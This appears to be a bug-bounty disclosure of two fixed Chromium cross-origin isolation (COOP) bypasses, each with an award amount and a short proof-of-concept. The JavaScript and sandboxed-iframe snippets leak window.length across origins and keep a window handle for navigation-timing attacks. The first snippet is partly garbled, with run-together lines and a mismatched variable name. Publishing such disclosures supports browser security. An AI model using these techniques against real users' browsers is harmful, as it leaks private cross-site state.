Leaking window.length without opener reference (Awarded $2000)
It allowed leaking window.length from a COOP protected page via parent.opener.length
- https://example.com/ run
open(); // cross-origin page opener.location = 'https://first-party-test.glitch.me/?coop=same-origin'; // Page with COOPlet frame = document.createElement('iframe'); f.src = "https://example.org"; document.body.appendChild(f); // Must be cross origin- In context of iframe do
parent.opener.lengthto get a new length just create a new cross-origin iframe.
This issue was fixed in https://issues.chromium.org/40059056
COOP pages got blocked when from a “null” origin but didn’t get cut (Awarded $3000)
The iframe had access to “w” which could be used to do navigation based timings attacks.
<iframe
srcdoc="<script>w = open('https://myactivity.google.com/myactivity')</script>"
sandbox="allow-scripts allow-popups"></iframe>
This issue was fixed in https://issuetracker.google.com/40057526